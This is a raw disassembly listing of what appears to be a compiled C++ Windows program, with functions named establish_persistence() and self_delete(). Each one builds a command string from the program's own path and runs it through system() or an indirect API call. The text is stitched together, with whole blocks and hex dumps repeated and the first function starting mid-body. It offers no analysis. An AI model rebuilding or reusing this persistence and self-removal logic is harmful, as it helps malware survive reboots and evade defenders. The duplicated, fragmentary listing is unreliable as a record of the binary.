140008f5ccall _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_PKS5_
140008f61lea rax, [rbp+336]
140008f68lea rcx, [rbp+368]
140008f6flea rdx, [rbp+416]
140008f76mov r8, rcx
140008f79mov rcx, rax
140008f7ccall _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_S9_
140008f81lea rax, [rbp-96]
140008f85lea rcx, [rip+0xff274]
140008f8clea rdx, [rbp+336]
140008f93mov r8, rcx
140008f96mov rcx, rax
140008f99call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_PKS5_
140008f9elea rax, [rbp+336]
140008fa5mov rcx, rax
140008fa8call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140008fadlea rax, [rbp+416]
140008fb4mov rcx, rax
140008fb7call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140008fbclea rax, [rbp+448]
140008fc3mov rcx, rax
140008fc6call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140008fcblea rax, [rbp+368]
140008fd2mov rcx, rax
140008fd5call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140008fdalea rax, [rbp+415]
140008fe1mov rcx, rax
140008fe4call std::__new_allocator<char>::~__new_allocator()
140008fe9nop
140008fealea rax, [rbp-96]
140008feemov rcx, rax
140008ff1call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::c_str() const
140008ff6mov rcx, rax
140008ff9call system
140008ffelea rax, [rbp+527]
140009005mov [rbp+584], rax
14000900cnop
14000900dnop
14000900elea rcx, [rbp+527]
140009015lea rdx, [rip+0xfe1cd]
14000901clea rax, [rbp+480]
140009023mov r8, rcx
140009026mov rcx, rax
140009029call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000902elea rax, [rbp+575]
140009035mov [rbp+576], rax
14000903cnop
14000903dnop
14000903elea rcx, [rbp+575]
140009045lea rdx, [rip+0xff1dc]
14000904clea rax, [rbp+528]
140009053mov r8, rcx
140009056mov rcx, rax
140009059call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000905elea rdx, [rbp+480]
140009065lea rax, [rbp+528]
14000906cmov rcx, rax
14000906fcall log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
140009074lea rax, [rbp+528]
14000907bmov rcx, rax
14000907ecall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140009083lea rax, [rbp+575]
14000908amov rcx, rax
14000908dcall std::__new_allocator<char>::~__new_allocator()
140009092nop
140009093lea rax, [rbp+480]
14000909amov rcx, rax
14000909dcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
1400090a2lea rax, [rbp+527]
1400090a9mov rcx, rax
1400090accall std::__new_allocator<char>::~__new_allocator()
1400090b1nop
1400090b2lea rax, [rbp-96]
1400090b6mov rcx, rax
1400090b9call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
1400090belea rax, [rbp-64]
1400090c2mov rcx, rax
1400090c5call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
1400090cajmp 0x14000921c
1400090cf
1400090cf 48 H
1400090d0 89 c3 48 8d 85 20 01 00 00 48 89 c1 e8 ef 83 0d ..H.. ...H......
1400090e0 00 eb 03 48 89 c3 48 8d 85 4e 01 00 00 48 89 c1 ...H..H..N...H..
1400090f0 e8 db 4c 0c 00 90 48 8d 85 f0 00 00 00 48 89 c1 ..L...H......H..
140009100 e8 cb 83 0d 00 eb 03 48 89 c3 48 8d 85 1f 01 00 .......H..H.....
140009110 00 48 89 c1 e8 b7 4c 0c 00 90 48 89 d8 48 89 c1 .H....L...H..H..
140009120 e8 7b 22 01 00 48 89 c3 48 8d 85 4f 01 00 00 48 .{"..H..H..O...H
140009130 89 c1 e8 99 4c 0c 00 90 48 89 d8 48 89 c1 e8 5d ....L...H..H...]
140009140 22 01 00 48 89 c3 48 8d 85 50 01 00 00 48 89 c1 "..H..H..P...H..
140009150 e8 7b 83 0d 00 eb 03 48 89 c3 48 8d 85 a0 01 00 .{.....H..H.....
140009160 00 48 89 c1 e8 67 83 0d 00 eb 03 48 89 c3 48 8d .H...g.....H..H.
140009170 85 c0 01 00 00 48 89 c1 e8 53 83 0d 00 eb 03 48 .....H...S.....H
140009180 89 c3 48 8d 85 70 01 00 00 48 89 c1 e8 3f 83 0d ..H..p...H...?..
140009190 00 eb 03 48 89 c3 48 8d 85 9f 01 00 00 48 89 c1 ...H..H......H..
1400091a0 e8 2b 4c 0c 00 90 eb 5c 48 89 c3 48 8d 85 10 02 .+L....\H..H....
1400091b0 00 00 48 89 c1 e8 16 83 0d 00 eb 03 48 89 c3 48 ..H.........H..H
1400091c0 8d 85 3f 02 00 00 48 89 c1 e8 02 4c 0c 00 90 48 ..?...H....L...H
1400091d0 8d 85 e0 01 00 00 48 89 c1 e8 f2 82 0d 00 eb 03 ......H.........
1400091e0 48 89 c3 48 8d 85 0f 02 00 00 48 89 c1 e8 de 4b H..H......H....K
1400091f0 0c 00 90 eb 03 48 89 c3 48 8d 45 a0 48 89 c1 e8 .....H..H.E.H...
140009200 cc 82 0d 00 48 8d 45 c0 48 89 c1 e8 c0 82 0d 00 ....H.E.H.......
140009210 48 89 d8 48 89 c1 e8 85 21 01 00 90 H..H....!...
14000921c
14000921cloc_14000921c:
14000921cadd rsp, 760
140009223pop rbx
140009224pop rbp
140009225ret
140008dda
140008ddaestablish_persistence():
140008ddapush rbp
140008ddbpush rbx
140008ddcsub rsp, 760
140008de3lea rbp, [rsp+128]
140008deblea rax, [rbp+287]
140008df2mov [rbp+616], rax
140008df9nop
140008dfanop
140008dfblea rcx, [rbp+287]
140008e02lea rdx, [rip+0xfe3e0]
140008e09lea rax, [rbp+240]
140008e10mov r8, rcx
140008e13mov rcx, rax
140008e16call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140008e1blea rax, [rbp+334]
140008e22mov [rbp+608], rax
140008e29nop
140008e2anop
140008e2blea rcx, [rbp+334]
140008e32lea rdx, [rip+0xff33f]
140008e39lea rax, [rbp+288]
140008e40mov r8, rcx
140008e43mov rcx, rax
140008e46call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140008e4blea rdx, [rbp+240]
140008e52lea rax, [rbp+288]
140008e59mov rcx, rax
140008e5ccall log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
140008e61lea rax, [rbp+288]
140008e68mov rcx, rax
140008e6bcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140008e70lea rax, [rbp+334]
140008e77mov rcx, rax
140008e7acall std::__new_allocator<char>::~__new_allocator()
140008e7fnop
140008e80lea rax, [rbp+240]
140008e87mov rcx, rax
140008e8acall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140008e8flea rax, [rbp+287]
140008e96mov rcx, rax
140008e99call std::__new_allocator<char>::~__new_allocator()
140008e9enop
140008e9flea rax, [rbp-32]
140008ea3mov r8l, 260
140008ea9mov rdx, rax
140008eacmov ecx, 0
140008eb1mov rax, [rip+0x1c0da0]
140008eb8call rax
140008ebalea rax, [rbp+335]
140008ec1mov [rbp+600], rax
140008ec8nop
140008ec9nop
140008ecalea rcx, [rbp+335]
140008ed1lea rdx, [rip+0xff2d8]
140008ed8lea rax, [rbp-64]
140008edcmov r8, rcx
140008edfmov rcx, rax
140008ee2call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140008ee7lea rax, [rbp+335]
140008eeemov rcx, rax
140008ef1call std::__new_allocator<char>::~__new_allocator()
140008ef6nop
140008ef7lea rax, [rbp+415]
140008efemov [rbp+592], rax
140008f05nop
140008f06nop
140008f07lea rcx, [rbp+415]
140008f0elea rdx, [rbp-32]
140008f12lea rax, [rbp+368]
140008f19mov r8, rcx
140008f1cmov rcx, rax
140008f1fcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140008f24lea rax, [rbp+448]
140008f2blea rcx, [rbp-64]
140008f2flea rdx, [rip+0xff2aa]
140008f36mov r8, rcx
140008f39mov rcx, rax
140008f3ccall _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEPKS5_RKS8_
140008f41lea rax, [rbp+416]
140008f48lea rcx, [rip+0xff2a8]
140008f4flea rdx, [rbp+448]
140008f56mov r8, rcx
140008f59mov rcx, rax
140008f5ccall _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_PKS5_
140008f61lea rax, [rbp+336]
140008f68lea rcx, [rbp+368]
140008f6flea rdx, [rbp+416]
140008f76mov r8, rcx
140008f79mov rcx, rax
140008f7ccall _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_S9_
140008f81lea rax, [rbp-96]
140008f85lea rcx, [rip+0xff274]
140008f8clea rdx, [rbp+336]
140008f93mov r8, rcx
140008f96mov rcx, rax
140008f99call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_PKS5_
140008f9elea rax, [rbp+336]
140008fa5mov rcx, rax
140008fa8call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140008fadlea rax, [rbp+416]
140008fb4mov rcx, rax
140008fb7call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140008fbclea rax, [rbp+448]
140008fc3mov rcx, rax
140008fc6call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140008fcblea rax, [rbp+368]
140008fd2mov rcx, rax
140008fd5call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140008fdalea rax, [rbp+415]
140008fe1mov rcx, rax
140008fe4call std::__new_allocator<char>::~__new_allocator()
140008fe9nop
140008fealea rax, [rbp-96]
140008feemov rcx, rax
140008ff1call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::c_str() const
140008ff6mov rcx, rax
140008ff9call system
140008ffelea rax, [rbp+527]
140009005mov [rbp+584], rax
14000900cnop
14000900dnop
14000900elea rcx, [rbp+527]
140009015lea rdx, [rip+0xfe1cd]
14000901clea rax, [rbp+480]
140009023mov r8, rcx
140009026mov rcx, rax
140009029call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000902elea rax, [rbp+575]
140009035mov [rbp+576], rax
14000903cnop
14000903dnop
14000903elea rcx, [rbp+575]
140009045lea rdx, [rip+0xff1dc]
14000904clea rax, [rbp+528]
140009053mov r8, rcx
140009056mov rcx, rax
140009059call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000905elea rdx, [rbp+480]
140009065lea rax, [rbp+528]
14000906cmov rcx, rax
14000906fcall log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
140009074lea rax, [rbp+528]
14000907bmov rcx, rax
14000907ecall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140009083lea rax, [rbp+575]
14000908amov rcx, rax
14000908dcall std::__new_allocator<char>::~__new_allocator()
140009092nop
140009093lea rax, [rbp+480]
14000909amov rcx, rax
14000909dcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
1400090a2lea rax, [rbp+527]
1400090a9mov rcx, rax
1400090accall std::__new_allocator<char>::~__new_allocator()
1400090b1nop
1400090b2lea rax, [rbp-96]
1400090b6mov rcx, rax
1400090b9call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
1400090belea rax, [rbp-64]
1400090c2mov rcx, rax
1400090c5call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
1400090cajmp 0x14000921c
1400090cf
1400090cf 48 H
1400090d0 89 c3 48 8d 85 20 01 00 00 48 89 c1 e8 ef 83 0d ..H.. ...H......
1400090e0 00 eb 03 48 89 c3 48 8d 85 4e 01 00 00 48 89 c1 ...H..H..N...H..
1400090f0 e8 db 4c 0c 00 90 48 8d 85 f0 00 00 00 48 89 c1 ..L...H......H..
140009100 e8 cb 83 0d 00 eb 03 48 89 c3 48 8d 85 1f 01 00 .......H..H.....
140009110 00 48 89 c1 e8 b7 4c 0c 00 90 48 89 d8 48 89 c1 .H....L...H..H..
140009120 e8 7b 22 01 00 48 89 c3 48 8d 85 4f 01 00 00 48 .{"..H..H..O...H
140009130 89 c1 e8 99 4c 0c 00 90 48 89 d8 48 89 c1 e8 5d ....L...H..H...]
140009140 22 01 00 48 89 c3 48 8d 85 50 01 00 00 48 89 c1 "..H..H..P...H..
140009150 e8 7b 83 0d 00 eb 03 48 89 c3 48 8d 85 a0 01 00 .{.....H..H.....
140009160 00 48 89 c1 e8 67 83 0d 00 eb 03 48 89 c3 48 8d .H...g.....H..H.
140009170 85 c0 01 00 00 48 89 c1 e8 53 83 0d 00 eb 03 48 .....H...S.....H
140009180 89 c3 48 8d 85 70 01 00 00 48 89 c1 e8 3f 83 0d ..H..p...H...?..
140009190 00 eb 03 48 89 c3 48 8d 85 9f 01 00 00 48 89 c1 ...H..H......H..
1400091a0 e8 2b 4c 0c 00 90 eb 5c 48 89 c3 48 8d 85 10 02 .+L....\H..H....
1400091b0 00 00 48 89 c1 e8 16 83 0d 00 eb 03 48 89 c3 48 ..H.........H..H
1400091c0 8d 85 3f 02 00 00 48 89 c1 e8 02 4c 0c 00 90 48 ..?...H....L...H
1400091d0 8d 85 e0 01 00 00 48 89 c1 e8 f2 82 0d 00 eb 03 ......H.........
1400091e0 48 89 c3 48 8d 85 0f 02 00 00 48 89 c1 e8 de 4b H..H......H....K
1400091f0 0c 00 90 eb 03 48 89 c3 48 8d 45 a0 48 89 c1 e8 .....H..H.E.H...
140009200 cc 82 0d 00 48 8d 45 c0 48 89 c1 e8 c0 82 0d 00 ....H.E.H.......
140009210 48 89 d8 48 89 c1 e8 85 21 01 00 90 H..H....!...
14000921c
14000921cloc_14000921c:
14000921cadd rsp, 760
140009223pop rbx
140009224pop rbp
140009225ret
140008dda
140009226
140009226self_delete():
140009226push rbp
140009227push rbx
140009228sub rsp, 664
14000922flea rbp, [rsp+128]
140009237lea rax, [rbp+271]
14000923emov [rbp+520], rax
140009245nop
140009246nop
140009247lea rcx, [rbp+271]
14000924elea rdx, [rip+0xfdf94]
140009255lea rax, [rbp+224]
14000925cmov r8, rcx
14000925fmov rcx, rax
140009262call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140009267lea rax, [rbp+319]
14000926emov [rbp+512], rax
140009275nop
140009276nop
140009277lea rcx, [rbp+319]
14000927elea rdx, [rip+0xfefd0]
140009285lea rax, [rbp+272]
14000928cmov r8, rcx
14000928fmov rcx, rax
140009292call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140009297lea rdx, [rbp+224]
14000929elea rax, [rbp+272]
1400092a5mov rcx, rax
1400092a8call log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
1400092adlea rax, [rbp+272]
1400092b4mov rcx, rax
1400092b7call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
1400092bclea rax, [rbp+319]
1400092c3mov rcx, rax
1400092c6call std::__new_allocator<char>::~__new_allocator()
1400092cbnop
1400092cclea rax, [rbp+224]
1400092d3mov rcx, rax
1400092d6call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
1400092dblea rax, [rbp+271]
1400092e2mov rcx, rax
1400092e5call std::__new_allocator<char>::~__new_allocator()
1400092eanop
1400092eblea rax, [rbp-48]
1400092efmov r8l, 260
1400092f5mov rdx, rax
1400092f8mov ecx, 0
1400092fdmov rax, [rip+0x1c0954]
140009304call rax
140009306lea rax, [rbp+399]
14000930dmov [rbp+504], rax
140009314nop
140009315nop
140009316lea rcx, [rbp+399]
14000931dlea rdx, [rbp-48]
140009321lea rax, [rbp+352]
140009328mov r8, rcx
14000932bmov rcx, rax
14000932ecall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140009333lea rax, [rbp+320]
14000933alea rcx, [rbp+352]
140009341lea rdx, [rip+0xfef28]
140009348mov r8, rcx
14000934bmov rcx, rax
14000934ecall _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEPKS5_OS8_
140009353lea rax, [rbp-80]
140009357lea rcx, [rip+0xfef47]
14000935elea rdx, [rbp+320]
140009365mov r8, rcx
140009368mov rcx, rax
14000936bcall _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_PKS5_
140009370lea rax, [rbp+320]
140009377mov rcx, rax
14000937acall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000937flea rax, [rbp+352]
140009386mov rcx, rax
140009389call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000938elea rax, [rbp+399]
140009395mov rcx, rax
140009398call std::__new_allocator<char>::~__new_allocator()
14000939dnop
14000939elea rax, [rbp-80]
1400093a2mov rcx, rax
1400093a5call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::c_str() const
1400093aamov rdx, rax
1400093adlea rcx, [rip+0xfed2c]
1400093b4lea rax, [rip+0xfeef3]
1400093bbmov [rsp+40], 0
1400093c3mov [rsp+32], 0
1400093ccmov r9, rdx
1400093cfmov r8, rcx
1400093d2mov rdx, rax
1400093d5mov ecx, 0
1400093damov rax, [rip+0x1c0d6f]
1400093e1call rax
1400093e3lea rax, [rbp+447]
1400093eamov [rbp+496], rax
1400093f1nop
1400093f2nop
1400093f3lea rcx, [rbp+447]
1400093falea rdx, [rip+0xfdde8]
140009401lea rax, [rbp+400]
140009408mov r8, rcx
14000940bmov rcx, rax
14000940ecall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140009413lea rax, [rbp+487]
14000941amov [rbp+488], rax
140009421nop
140009422nop
140009423lea rcx, [rbp+487]
14000942alea rdx, [rip+0xfee87]
140009431lea rax, [rbp+448]
140009438mov r8, rcx
14000943bmov rcx, rax
14000943ecall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140009443lea rdx, [rbp+400]
14000944alea rax, [rbp+448]
140009451mov rcx, rax
140009454call log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
140009459lea rax, [rbp+448]
140009460mov rcx, rax
140009463call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140009468lea rax, [rbp+487]
14000946fmov rcx, rax
140009472call std::__new_allocator<char>::~__new_allocator()
140009477nop
140009478lea rax, [rbp+400]
14000947fmov rcx, rax
140009482call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140009487lea rax, [rbp+447]
14000948emov rcx, rax
140009491call std::__new_allocator<char>::~__new_allocator()
140009496nop
140009497lea rax, [rbp-80]
14000949bmov rcx, rax
14000949ecall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
1400094a3jmp 0x1400095ac
1400094a8
1400094a8 48 89 c3 48 8d 85 10 01 H..H....
1400094b0 00 00 48 89 c1 e8 16 80 0d 00 eb 03 48 89 c3 48 ..H.........H..H
1400094c0 8d 85 3f 01 00 00 48 89 c1 e8 02 49 0c 00 90 48 ..?...H....I...H
1400094d0 8d 85 e0 00 00 00 48 89 c1 e8 f2 7f 0d 00 eb 03 ......H.........
1400094e0 48 89 c3 48 8d 85 0f 01 00 00 48 89 c1 e8 de 48 H..H......H....H
1400094f0 0c 00 90 48 89 d8 48 89 c1 e8 a2 1e 01 00 48 89 ...H..H.......H.
140009500 c3 48 8d 85 40 01 00 00 48 89 c1 e8 c0 7f 0d 00 .H..@...H.......
140009510 eb 03 48 89 c3 48 8d 85 60 01 00 00 48 89 c1 e8 ..H..H..`...H...
140009520 ac 7f 0d 00 eb 03 48 89 c3 48 8d 85 8f 01 00 00 ......H..H......
140009530 48 89 c1 e8 98 48 0c 00 90 48 89 d8 48 89 c1 e8 H....H...H..H...
140009540 5c 1e 01 00 48 89 c3 48 8d 85 c0 01 00 00 48 89 \...H..H......H.
140009550 c1 e8 7a 7f 0d 00 eb 03 48 89 c3 48 8d 85 e7 01 ..z.....H..H....
140009560 00 00 48 89 c1 e8 66 48 0c 00 90 48 8d 85 90 01 ..H...fH...H....
140009570 00 00 48 89 c1 e8 56 7f 0d 00 eb 03 48 89 c3 48 ..H...V.....H..H
140009580 8d 85 bf 01 00 00 48 89 c1 e8 42 48 0c 00 90 eb ......H...BH....
140009590 03 48 89 c3 48 8d 45 b0 48 89 c1 e8 30 7f 0d 00 .H..H.E.H...0...
1400095a0 48 89 d8 48 89 c1 e8 f5 1d 01 00 90 H..H........
1400095ac
1400095acloc_1400095ac:
1400095acadd rsp, 664
1400095b3pop rbx
1400095b4pop rbp
1400095b5ret
140009226
140009226self_delete():
140009226push rbp
140009227push rbx
140009228sub rsp, 664
14000922flea rbp, [rsp+128]
140009237lea rax, [rbp+271]
14000923emov [rbp+520], rax
140009245nop
140009246nop
140009247lea rcx, [rbp+271]
14000924elea rdx, [rip+0xfdf94]
140009255lea rax, [rbp+224]
14000925cmov r8, rcx
14000925fmov rcx, rax
140009262call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140009267lea rax, [rbp+319]
14000926emov [rbp+512], rax
140009275nop
140009276nop
140009277lea rcx, [rbp+319]
14000927elea rdx, [rip+0xfefd0]
140009285lea rax, [rbp+272]
14000928cmov r8, rcx
14000928fmov rcx, rax
140009292call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140009297lea rdx, [rbp+224]
14000929elea rax, [rbp+272]
1400092a5mov rcx, rax
1400092a8call log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
1400092adlea rax, [rbp+272]
1400092b4mov rcx, rax
1400092b7call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
1400092bclea rax, [rbp+319]
1400092c3mov rcx, rax
1400092c6call std::__new_allocator<char>::~__new_allocator()
1400092cbnop
1400092cclea rax, [rbp+224]
1400092d3mov rcx, rax
1400092d6call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
1400092dblea rax, [rbp+271]
1400092e2mov rcx, rax
1400092e5call std::__new_allocator<char>::~__new_allocator()
1400092eanop
1400092eblea rax, [rbp-48]
1400092efmov r8l, 260
1400092f5mov rdx, rax
1400092f8mov ecx, 0
1400092fdmov rax, [rip+0x1c0954]
140009304call rax
140009306lea rax, [rbp+399]
14000930dmov [rbp+504], rax
140009314nop
140009315nop
140009316lea rcx, [rbp+399]
14000931dlea rdx, [rbp-48]
140009321lea rax, [rbp+352]
140009328mov r8, rcx
14000932bmov rcx, rax
14000932ecall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140009333lea rax, [rbp+320]
14000933alea rcx, [rbp+352]
140009341lea rdx, [rip+0xfef28]
140009348mov r8, rcx
14000934bmov rcx, rax
14000934ecall _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEPKS5_OS8_
140009353lea rax, [rbp-80]
140009357lea rcx, [rip+0xfef47]
14000935elea rdx, [rbp+320]
140009365mov r8, rcx
140009368mov rcx, rax
14000936bcall _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_PKS5_
140009370lea rax, [rbp+320]
140009377mov rcx, rax
14000937acall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000937flea rax, [rbp+352]
140009386mov rcx, rax
140009389call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000938elea rax, [rbp+399]
140009395mov rcx, rax
140009398call std::__new_allocator<char>::~__new_allocator()
14000939dnop
14000939elea rax, [rbp-80]
1400093a2mov rcx, rax
1400093a5call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::c_str() const
1400093aamov rdx, rax
1400093adlea rcx, [rip+0xfed2c]
1400093b4lea rax, [rip+0xfeef3]
1400093bbmov [rsp+40], 0
1400093c3mov [rsp+32], 0
1400093ccmov r9, rdx
1400093cfmov r8, rcx
1400093d2mov rdx, rax
1400093d5mov ecx, 0
1400093damov rax, [rip+0x1c0d6f]
1400093e1call rax
1400093e3lea rax, [rbp+447]
1400093eamov [rbp+496], rax
1400093f1nop
1400093f2nop
1400093f3lea rcx, [rbp+447]
1400093falea rdx, [rip+0xfdde8]
140009401lea rax, [rbp+400]
140009408mov r8, rcx
14000940bmov rcx, rax
14000940ecall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140009413lea rax, [rbp+487]
14000941amov [rbp+488], rax
140009421nop
140009422nop
140009423lea rcx, [rbp+487]
14000942alea rdx, [rip+0xfee87]
140009431lea rax, [rbp+448]
140009438mov r8, rcx
14000943bmov rcx, rax
14000943ecall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140009443lea rdx, [rbp+400]
14000944alea rax, [rbp+448]
140009451mov rcx, rax
140009454call log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
140009459lea rax, [rbp+448]
140009460mov rcx, rax
140009463call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140009468lea rax, [rbp+487]
14000946fmov rcx, rax
140009472call std::__new_allocator<char>::~__new_allocator()
140009477nop
140009478lea rax, [rbp+400]
14000947fmov rcx, rax
140009482call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140009487lea rax, [rbp+447]
14000948emov rcx, rax
140009491call std::__new_allocator<char>::~__new_allocator()
140009496nop
140009497lea rax, [rbp-80]
14000949bmov rcx, rax
14000949ecall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
1400094a3jmp 0x1400095ac
1400094a8
1400094a8 48 89 c3 48 8d 85 10 01 H..H....
1400094b0 00 00 48 89 c1 e8 16 80 0d 00 eb 03 48 89 c3 48 ..H.........H..H
1400094c0 8d 85 3f 01 00 00 48 89 c1 e8 02 49 0c 00 90 48 ..?...H....I...H
1400094d0 8d 85 e0 00 00 00 48 89 c1 e8 f2 7f 0d 00 eb 03 ......H.........
1400094e0 48 89 c3 48 8d 85 0f 01 00 00 48 89 c1 e8 de 48 H..H......H....H
1400094f0 0c 00 90 48 89 d8 48 89 c1 e8 a2 1e 01 00 48 89 ...H..H.......H.
140009500 c3 48 8d 85 40 01 00 00 48 89 c1 e8 c0 7f 0d 00 .H..@...H.......
140009510 eb 03 48 89 c3 48 8d 85 60 01 00 00 48 89 c1 e8 ..H..H..`...H...
140009520 ac 7f 0d 00 eb 03 48 89 c3 48 8d 85 8f 01 00 00 ......H..H......
140009530 48 89 c1 e8 98 48 0c 00 90 48 89 d8 48 89 c1 e8 H....H...H..H...
140009540 5c 1e 01 00 48 89 c3 48 8d 85 c0 01 00 00 48 89 \...H..H......H.
140009550 c1 e8 7a 7f 0d 00 eb 03 48 89 c3 48 8d 85 e7 01 ..z.....H..H....
140009560 00 00 48 89 c1 e8 66 48 0c 00 90 48 8d 85 90 01 ..H...fH...H....
140009570 00 00 48 89 c1 e8 56 7f 0d 00 eb 03 48 89 c3 48 ..H...V.....H..H
140009580 8d 85 bf 01 00 00 48 89 c1 e8 42 48 0c 00 90 eb ......H...BH....
140009590 03 48 89 c3 48 8d 45 b0 48 89 c1 e8 30 7f 0d 00 .H..H.E.H...0...
1400095a0 48 89 d8 48 89 c1 e8 f5 1d 01 00 90 H..H........
1400095ac
1400095acloc_1400095ac:
1400095acadd rsp, 664
1400095b3pop rbx
1400095b4pop rbp
